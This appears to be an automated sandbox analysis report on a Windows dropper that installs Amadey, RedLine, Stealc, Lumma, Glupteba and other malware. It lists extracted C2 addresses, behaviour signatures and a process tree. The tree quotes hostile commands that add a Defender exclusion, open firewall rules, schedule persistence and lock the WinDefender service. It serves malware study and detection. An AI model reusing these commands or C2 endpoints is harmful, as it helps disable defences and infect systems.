Overview

overview

10

Static

static

3

cryptolaemus

windows10-2004-x64

10

cryptolaemus

windows11-21h2-x64

10

Analysis

  • max time kernel
    146s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240412-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25-04-2024 12:25

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    86793dc6f281fd12bf3680195217f848082a4de976366e1e4cb14a8af320556e.exe

  • Size

    1.8MB

  • MD5

    07aa91f07cf4d93f7178d110968f2c3d

  • SHA1

    90650b1c2d6b1de9e8119008dfd5e7735c853095

  • SHA256

    86793dc6f281fd12bf3680195217f848082a4de976366e1e4cb14a8af320556e

  • SHA512

    c74dd3fbeaf030dc2b8679a3082dc4a628dda028cd35dc564198017f55b0e893dc5d7f1b65e8d7f2f6f275e8e1fba4ec8c1665b501ea9a6ca5f203e096d782b4

  • SSDEEP

    49152:0RdepakLI5R42/Tk0cZbeSxPLpycoyEo/9+D8:0RcQ4Db1PLp+9oMY

Score
10/10
amadeygluptebalummaredlinestealczgrat@cloudytteamtest1234discoverydropperevasioninfostealerloaderpersistenceratrootkitspywarestealerthemidatrojan

Malware Config

Extracted

Family

amadey

Version

4.17

C2

http://193.233.132.167

Attributes
  • install_dir

    4d0ab15804

  • install_file

    chrosha.exe

  • strings_key

    1a9519d7b465e1f4880fa09a6162d768

  • url_paths

    /enigma/index.php

rc4.plain

Extracted

Family

redline

Botnet

@CLOUDYTTEAM

C2

185.172.128.33:8970

Extracted

Family

redline

Botnet

Test1234

C2

185.215.113.67:26260

Extracted

Family

stealc

C2

http://52.143.157.84

Attributes
  • url_path

    /c73eed764cc59dcb.php

Extracted

Family

lumma

C2

https://affordcharmcropwo.shop/api

https://cleartotalfisherwo.shop/api

https://worryfillvolcawoi.shop/api

https://enthusiasimtitleow.shop/api

https://dismissalcylinderhostw.shop/api

https://diskretainvigorousiw.shop/api

https://communicationgenerwo.shop/api

https://pillowbrocccolipe.shop/api

https://productivelookewr.shop/api

https://tolerateilusidjukl.shop/api

https://shatterbreathepsw.shop/api

https://shortsvelventysjo.shop/api

https://incredibleextedwj.shop/api

https://alcojoldwograpciw.shop/api

https://liabilitynighstjsko.shop/api

https://demonstationfukewko.shop/api

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • Detect ZGRat V1 4 IoCs
  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

    loaderdropperglupteba
  • Glupteba payload 10 IoCs
  • Lumma Stealer

    An infostealer written in C++ first seen in August 2022.

    stealerlumma
  • Modifies firewall policy service 2 TTPs 1 IoCs
    evasion
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine payload 6 IoCs
  • Stealc

    Stealc is an infostealer written in C++.

    stealerstealc
  • UAC bypass 3 TTPs 1 IoCs
    evasiontrojan
  • Windows security bypass 2 TTPs 7 IoCs
    evasiontrojan
  • ZGRat

    ZGRat is remote access trojan written in C#.

    ratzgrat
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 3 IoCs
    evasion
  • Blocklisted process makes network request 3 IoCs
  • Downloads MZ/PE file
  • Modifies Windows Firewall 2 TTPs 2 IoCs
    evasion
  • Stops running service(s) 3 TTPs
    evasion
  • Checks BIOS information in registry 2 TTPs 7 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 8 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 49 IoCs
  • Identifies Wine through registry keys 2 TTPs 2 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    evasion
  • Loads dropped DLL 16 IoCs
  • Reads WinSCP keys stored on the system 2 TTPs

    Tries to access WinSCP stored sessions.

    spywarestealer
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

    spywarestealer
  • Reads local data of messenger clients 2 TTPs

    Infostealers often target stored data of messaging applications, which can include saved credentials and account information.

    spywarestealer
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Themida packer 2 IoCs

    Detects Themida, an advanced Windows software protection system.

    themida
  • Windows security modification 2 TTPs 8 IoCs
    evasiontrojan
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 3 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled 1 TTPs 3 IoCs
    evasiontrojan
  • Enumerates connected drives 3 TTPs 4 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 4 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Manipulates WinMonFS driver. 1 IoCs

    Roottkits write to WinMonFS to hide directories/files from being detected.

    rootkitevasion
  • Drops file in System32 directory 18 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs
  • Suspicious use of SetThreadContext 7 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 2 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Program Files directory 10 IoCs
  • Drops file in Windows directory 8 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 11 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies system certificate store 2 TTPs 5 IoCs
    evasionspywaretrojan
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 7 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 1 IoCs
    evasion
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\86793dc6f281fd12bf3680195217f848082a4de976366e1e4cb14a8af320556e.exe
    "C:\Users\Admin\AppData\Local\Temp\86793dc6f281fd12bf3680195217f848082a4de976366e1e4cb14a8af320556e.exe"
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Identifies Wine through registry keys
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Drops file in Windows directory
    • Suspicious behavior: EnumeratesProcesses
    PID:4320
  • C:\Users\Admin\AppData\Local\Temp\4d0ab15804\chrosha.exe
    C:\Users\Admin\AppData\Local\Temp\4d0ab15804\chrosha.exe
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Checks computer location settings
    • Executes dropped EXE
    • Identifies Wine through registry keys
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4996
    • C:\Users\Admin\AppData\Local\Temp\1000147001\swiiiii.exe
      "C:\Users\Admin\AppData\Local\Temp\1000147001\swiiiii.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of SetThreadContext
      • Suspicious use of WriteProcessMemory
      PID:2284
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        3⤵
          PID:4252
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2284 -s 828
          3⤵
          • Program crash
          PID:4224
      • C:\Users\Admin\AppData\Local\Temp\1000148001\alexxxxxxxx.exe
        "C:\Users\Admin\AppData\Local\Temp\1000148001\alexxxxxxxx.exe"
        2⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4436
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
          3⤵
          • Checks computer location settings
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3804
          • C:\Users\Admin\AppData\Roaming\configurationValue\keks.exe
            "C:\Users\Admin\AppData\Roaming\configurationValue\keks.exe"
            4⤵
            • Executes dropped EXE
            • Modifies system certificate store
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3944
          • C:\Users\Admin\AppData\Roaming\configurationValue\trf.exe
            "C:\Users\Admin\AppData\Roaming\configurationValue\trf.exe"
            4⤵
            • Executes dropped EXE
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2644
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "RegAsm.exe"
            4⤵
              PID:5768
              • C:\Windows\SysWOW64\choice.exe
                choice /C Y /N /D Y /T 3
                5⤵
                  PID:6100
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 4436 -s 360
              3⤵
              • Program crash
              PID:4456
          • C:\Users\Admin\AppData\Local\Temp\1000149001\gold.exe
            "C:\Users\Admin\AppData\Local\Temp\1000149001\gold.exe"
            2⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Suspicious use of WriteProcessMemory
            PID:2160
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
              3⤵
                PID:896
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 2160 -s 356
                3⤵
                • Program crash
                PID:956
            • C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe
              "C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe"
              2⤵
              • Checks computer location settings
              • Executes dropped EXE
              • Suspicious use of WriteProcessMemory
              PID:4324
              • C:\Windows\SysWOW64\schtasks.exe
                "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN NewB.exe /TR "C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe" /F
                3⤵
                • Creates scheduled task(s)
                PID:3004
            • C:\Users\Admin\AppData\Local\Temp\1000152001\jok.exe
              "C:\Users\Admin\AppData\Local\Temp\1000152001\jok.exe"
              2⤵
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:4564
            • C:\Users\Admin\AppData\Local\Temp\1000153001\swiiii.exe
              "C:\Users\Admin\AppData\Local\Temp\1000153001\swiiii.exe"
              2⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious use of WriteProcessMemory
              PID:760
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                3⤵
                  PID:2560
                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                  3⤵
                    PID:1592
                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                    3⤵
                    • Loads dropped DLL
                    • Checks processor information in registry
                    • Suspicious behavior: EnumeratesProcesses
                    PID:4352
                • C:\Users\Admin\AppData\Local\Temp\1000181001\file300un.exe
                  "C:\Users\Admin\AppData\Local\Temp\1000181001\file300un.exe"
                  2⤵
                  • UAC bypass
                  • Windows security bypass
                  • Checks computer location settings
                  • Executes dropped EXE
                  • Windows security modification
                  • Checks whether UAC is enabled
                  • Suspicious use of SetThreadContext
                  • System policy modification
                  PID:2652
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\1000181001\file300un.exe" -Force
                    3⤵
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4632
                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe
                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3684
                    • C:\Users\Admin\Pictures\XhSU3fwERoHwzyN28X2Ykpml.exe
                      "C:\Users\Admin\Pictures\XhSU3fwERoHwzyN28X2Ykpml.exe"
                      4⤵
                      • Executes dropped EXE
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:4056
                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                        powershell -nologo -noprofile
                        5⤵
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:5916
                      • C:\Users\Admin\Pictures\XhSU3fwERoHwzyN28X2Ykpml.exe
                        "C:\Users\Admin\Pictures\XhSU3fwERoHwzyN28X2Ykpml.exe"
                        5⤵
                        • Windows security bypass
                        • Executes dropped EXE
                        • Windows security modification
                        • Adds Run key to start application
                        • Checks for VirtualBox DLLs, possible anti-VM trick
                        • Drops file in Windows directory
                        • Suspicious behavior: EnumeratesProcesses
                        PID:720
                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                          powershell -nologo -noprofile
                          6⤵
                          • Drops file in System32 directory
                          • Modifies data under HKEY_USERS
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          PID:6028
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
                          6⤵
                            PID:5268
                            • C:\Windows\system32\netsh.exe
                              netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
                              7⤵
                              • Modifies Windows Firewall
                              PID:5584
                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            powershell -nologo -noprofile
                            6⤵
                            • Drops file in System32 directory
                            • Modifies data under HKEY_USERS
                            • Suspicious use of AdjustPrivilegeToken
                            PID:2916
                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            powershell -nologo -noprofile
                            6⤵
                            • Drops file in System32 directory
                            • Modifies data under HKEY_USERS
                            • Suspicious use of AdjustPrivilegeToken
                            PID:2560
                          • C:\Windows\rss\csrss.exe
                            C:\Windows\rss\csrss.exe
                            6⤵
                            • Executes dropped EXE
                            • Adds Run key to start application
                            • Manipulates WinMonFS driver.
                            • Drops file in Windows directory
                            PID:5756
                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                              powershell -nologo -noprofile
                              7⤵
                              • Drops file in System32 directory
                              • Modifies data under HKEY_USERS
                              PID:4984
                            • C:\Windows\SYSTEM32\schtasks.exe
                              schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                              7⤵
                              • Creates scheduled task(s)
                              PID:1860
                            • C:\Windows\SYSTEM32\schtasks.exe
                              schtasks /delete /tn ScheduledUpdate /f
                              7⤵
                                PID:1616
                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                powershell -nologo -noprofile
                                7⤵
                                • Drops file in System32 directory
                                • Modifies data under HKEY_USERS
                                PID:3868
                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                powershell -nologo -noprofile
                                7⤵
                                • Drops file in System32 directory
                                • Modifies data under HKEY_USERS
                                PID:5684
                              • C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
                                C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
                                7⤵
                                • Executes dropped EXE
                                PID:460
                              • C:\Windows\SYSTEM32\schtasks.exe
                                schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                                7⤵
                                • Creates scheduled task(s)
                                PID:5780
                              • C:\Windows\windefender.exe
                                "C:\Windows\windefender.exe"
                                7⤵
                                • Executes dropped EXE
                                PID:624
                                • C:\Windows\SysWOW64\cmd.exe
                                  cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
                                  8⤵
                                    PID:620
                                    • C:\Windows\SysWOW64\sc.exe
                                      sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
                                      9⤵
                                      • Launches sc.exe
                                      PID:3024
                          • C:\Users\Admin\Pictures\DrkVPiNpwSDi41BMA1JkyW4N.exe
                            "C:\Users\Admin\Pictures\DrkVPiNpwSDi41BMA1JkyW4N.exe"
                            4⤵
                            • Executes dropped EXE
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            PID:2372
                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                              powershell -nologo -noprofile
                              5⤵
                              • Suspicious behavior: EnumeratesProcesses
                              • Suspicious use of AdjustPrivilegeToken
                              PID:5984
                            • C:\Users\Admin\Pictures\DrkVPiNpwSDi41BMA1JkyW4N.exe
                              "C:\Users\Admin\Pictures\DrkVPiNpwSDi41BMA1JkyW4N.exe"
                              5⤵
                              • Executes dropped EXE
                              • Adds Run key to start application
                              • Checks for VirtualBox DLLs, possible anti-VM trick
                              • Drops file in Windows directory
                              • Modifies data under HKEY_USERS
                              • Suspicious behavior: EnumeratesProcesses
                              PID:4232
                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                powershell -nologo -noprofile
                                6⤵
                                • Drops file in System32 directory
                                • Modifies data under HKEY_USERS
                                • Suspicious behavior: EnumeratesProcesses
                                • Suspicious use of AdjustPrivilegeToken
                                PID:4276
                              • C:\Windows\system32\cmd.exe
                                C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
                                6⤵
                                  PID:5084
                                  • C:\Windows\system32\netsh.exe
                                    netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
                                    7⤵
                                    • Modifies Windows Firewall
                                    PID:4840
                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                  powershell -nologo -noprofile
                                  6⤵
                                  • Drops file in System32 directory
                                  • Modifies data under HKEY_USERS
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:6088
                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                  powershell -nologo -noprofile
                                  6⤵
                                  • Drops file in System32 directory
                                  • Modifies data under HKEY_USERS
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:1608
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 4232 -s 836
                                  6⤵
                                  • Program crash
                                  PID:3576
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 4232 -s 888
                                  6⤵
                                  • Program crash
                                  PID:4740
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 4232 -s 860
                                  6⤵
                                  • Program crash
                                  PID:4140
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -u -p 2372 -s 740
                                5⤵
                                • Program crash
                                PID:2076
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -u -p 2372 -s 620
                                5⤵
                                • Program crash
                                PID:5868
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -u -p 2372 -s 744
                                5⤵
                                • Program crash
                                PID:6104
                            • C:\Users\Admin\Pictures\awGeM5qcX9tw7T8v2iRkFmZT.exe
                              "C:\Users\Admin\Pictures\awGeM5qcX9tw7T8v2iRkFmZT.exe"
                              4⤵
                              • Modifies firewall policy service
                              • Windows security bypass
                              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                              • Checks BIOS information in registry
                              • Executes dropped EXE
                              • Windows security modification
                              • Checks whether UAC is enabled
                              • Drops file in System32 directory
                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                              PID:464
                            • C:\Users\Admin\Pictures\Ea4QMb2ApCXxh4r61J1FmtRc.exe
                              "C:\Users\Admin\Pictures\Ea4QMb2ApCXxh4r61J1FmtRc.exe"
                              4⤵
                              • Checks computer location settings
                              • Executes dropped EXE
                              PID:6020
                              • C:\Users\Admin\AppData\Local\Temp\u4n8.0.exe
                                "C:\Users\Admin\AppData\Local\Temp\u4n8.0.exe"
                                5⤵
                                • Executes dropped EXE
                                PID:5748
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 5748 -s 1304
                                  6⤵
                                  • Program crash
                                  PID:2928
                              • C:\Users\Admin\AppData\Local\Temp\u4n8.2\run.exe
                                "C:\Users\Admin\AppData\Local\Temp\u4n8.2\run.exe"
                                5⤵
                                • Executes dropped EXE
                                • Loads dropped DLL
                                • Suspicious use of SetThreadContext
                                • Suspicious behavior: EnumeratesProcesses
                                • Suspicious behavior: MapViewOfSection
                                • Suspicious use of SetWindowsHookEx
                                PID:5880
                                • C:\Windows\SysWOW64\cmd.exe
                                  C:\Windows\SysWOW64\cmd.exe
                                  6⤵
                                  • Suspicious use of SetThreadContext
                                  • Suspicious behavior: EnumeratesProcesses
                                  • Suspicious behavior: MapViewOfSection
                                  PID:6092
                                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                    C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                    7⤵
                                      PID:5028
                                • C:\Users\Admin\AppData\Local\Temp\u4n8.3.exe
                                  "C:\Users\Admin\AppData\Local\Temp\u4n8.3.exe"
                                  5⤵
                                  • Checks computer location settings
                                  • Executes dropped EXE
                                  • Checks SCSI registry key(s)
                                  • Suspicious use of FindShellTrayWindow
                                  • Suspicious use of SendNotifyMessage
                                  PID:316
                                  • C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
                                    "C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD1
                                    6⤵
                                      PID:4056
                                  • C:\Windows\SysWOW64\WerFault.exe
                                    C:\Windows\SysWOW64\WerFault.exe -u -p 6020 -s 1424
                                    5⤵
                                    • Program crash
                                    PID:4092
                                • C:\Users\Admin\Pictures\i6KYmtlU62bzmubUWoFTMybH.exe
                                  "C:\Users\Admin\Pictures\i6KYmtlU62bzmubUWoFTMybH.exe" --silent --allusers=0
                                  4⤵
                                  • Executes dropped EXE
                                  • Loads dropped DLL
                                  • Enumerates connected drives
                                  • Modifies system certificate store
                                  PID:4936
                                  • C:\Users\Admin\Pictures\i6KYmtlU62bzmubUWoFTMybH.exe
                                    C:\Users\Admin\Pictures\i6KYmtlU62bzmubUWoFTMybH.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.68 --initial-client-data=0x288,0x274,0x2b0,0x28c,0x2b4,0x706fe1d0,0x706fe1dc,0x706fe1e8
                                    5⤵
                                    • Executes dropped EXE
                                    • Loads dropped DLL
                                    PID:896
                                  • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\i6KYmtlU62bzmubUWoFTMybH.exe
                                    "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\i6KYmtlU62bzmubUWoFTMybH.exe" --version
                                    5⤵
                                    • Executes dropped EXE
                                    • Loads dropped DLL
                                    PID:5652
                                  • C:\Users\Admin\Pictures\i6KYmtlU62bzmubUWoFTMybH.exe
                                    "C:\Users\Admin\Pictures\i6KYmtlU62bzmubUWoFTMybH.exe" --backend --install --import-browser-data=0 --enable-stats=1 --enable-installer-stats=1 --consent-given=0 --general-interests=0 --general-location=0 --personalized-content=0 --personalized-ads=0 --launchopera=1 --installfolder="C:\Users\Admin\AppData\Local\Programs\Opera" --profile-folder --language=en --singleprofile=0 --copyonly=0 --allusers=0 --setdefaultbrowser=1 --pintotaskbar=1 --pintostartmenu=1 --run-at-startup=1 --show-intro-overlay --server-tracking-data=server_tracking_data --initial-pid=4936 --package-dir-prefix="C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_20240425122643" --session-guid=a457021b-6a58-4573-83e9-afa5ff2224f5 --server-tracking-blob="NWY1YzUyZWQxMjRhOWFmNTljOTVlZmI0ZjdkZmY5NTdlZThhZmEyZGM4YWI0YzE3OTcxMjdjZDIxNTM4YTIxZTp7ImNvdW50cnkiOiJHQiIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFTZXR1cC5leGUiLCJwcm9kdWN0Ijp7Im5hbWUiOiJvcGVyYSJ9LCJxdWVyeSI6Ii9vcGVyYS9zdGFibGUvd2luZG93cy8/dXRtX21lZGl1bT1hcGImdXRtX3NvdXJjZT1ta3QmdXRtX2NhbXBhaWduPTc2N19fNDU2Iiwic3lzdGVtIjp7InBsYXRmb3JtIjp7ImFyY2giOiJ4ODZfNjQiLCJvcHN5cyI6IldpbmRvd3MiLCJvcHN5cy12ZXJzaW9uIjoiMTAiLCJwYWNrYWdlIjoiRVhFIn19LCJ0aW1lc3RhbXAiOiIxNzE0MDQ3OTgwLjA3NjAiLCJ1dG0iOnsiY2FtcGFpZ24iOiI3NjdfXzQ1NiIsIm1lZGl1bSI6ImFwYiIsInNvdXJjZSI6Im1rdCJ9LCJ1dWlkIjoiOThmZTQ3ZjAtMTM1Zi00ZmMwLTk1MmItNDkwZWFhMDNlNGNiIn0= " --silent --desktopshortcut=1 --wait-for-package --initial-proc-handle=F004000000000000
                                    5⤵
                                    • Executes dropped EXE
                                    • Loads dropped DLL
                                    • Enumerates connected drives
                                    PID:3748
                                    • C:\Users\Admin\Pictures\i6KYmtlU62bzmubUWoFTMybH.exe
                                      C:\Users\Admin\Pictures\i6KYmtlU62bzmubUWoFTMybH.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.68 --initial-client-data=0x2a0,0x2a4,0x2a8,0x278,0x2ac,0x6ea2e1d0,0x6ea2e1dc,0x6ea2e1e8
                                      6⤵
                                      • Executes dropped EXE
                                      • Loads dropped DLL
                                      PID:5628
                                  • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404251226431\assistant\Assistant_109.0.5097.45_Setup.exe_sfx.exe
                                    "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404251226431\assistant\Assistant_109.0.5097.45_Setup.exe_sfx.exe"
                                    5⤵
                                    • Executes dropped EXE
                                    PID:5844
                                  • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404251226431\assistant\assistant_installer.exe
                                    "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404251226431\assistant\assistant_installer.exe" --version
                                    5⤵
                                    • Executes dropped EXE
                                    • Loads dropped DLL
                                    PID:5056
                                    • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404251226431\assistant\assistant_installer.exe
